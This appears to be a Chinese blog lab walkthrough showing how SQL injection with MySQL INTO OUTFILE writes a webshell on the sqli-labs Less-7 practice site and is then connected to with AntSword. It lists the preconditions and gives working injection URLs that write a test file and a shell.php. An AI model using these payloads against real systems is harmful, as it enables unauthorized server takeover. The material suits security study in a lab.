SQL注入上传文件获取shell

SQL注入写文件的三个必要条件

  1. Web目录有读写权限:

    当目标网站的Web目录具有读写权限时,攻击者可以通过注入恶意SQL语句将恶意文件写入服务器上的Web目录。

  2. 知道文件的绝对路径:

    攻击者需要知道目标系统上的文件的绝对路径,以便将恶意内容写入到指定目录的文件中。

  3. secure_file_priv为空或者包含当前目录地址(在my.ini配置):

    MySQL数据库服务器配置中的secure_file_priv参数规定了MySQL服务器允许执行INTO OUTFILE写入的目录。如果secure_file_priv为空,或者包含了当前目录地址,攻击者可以将恶意文件写入到该目录中,从而获取对服务器的控制权。

INTO OUTFILE是MySQL中用于将查询结果输出到文件的语法。它允许将查询结果写入到服务器文件系统中的指定文件。语法如下:

SELECT column1, column2, ...
INTO OUTFILE 'file_path'
FROM table_name
WHERE condition;

实验环境:服务器为Windows Server 2008 R2,数据库版本为MySQL5.7,实验网站为sqli-labs

sqli-labs第七关源码示例

SQL注入上传文件获取shell_第1张图片

通过源码可以看出,参数后面加上'))即可闭合参数

SELECT * FROM users WHERE id=(('1'))union select 1,2,3--+)) LIMIT 0,1

随便写一个文件试试:

http://192.168.171.30/sqli/Less-7/?id=1')) union select 1,2,3 into outfile 'C:/www/1.php'--+

SQL注入上传文件获取shell_第2张图片

虽然前面报错了,但这里查看服务器发现文件成功写入了

SQL注入上传文件获取shell_第3张图片

这次尝试写入shell

http://192.168.171.30/sqli/Less-7/?id=1')) union select 1,2,'' into outfile 'C:/www/shell.php'--+

SQL注入上传文件获取shell_第4张图片

上传成功

SQL注入上传文件获取shell_第5张图片

用蚁剑连接成功

SQL注入上传文件获取shell_第6张图片

你可能感兴趣的:(安全,sql,数据库,安全,web安全,sql注入)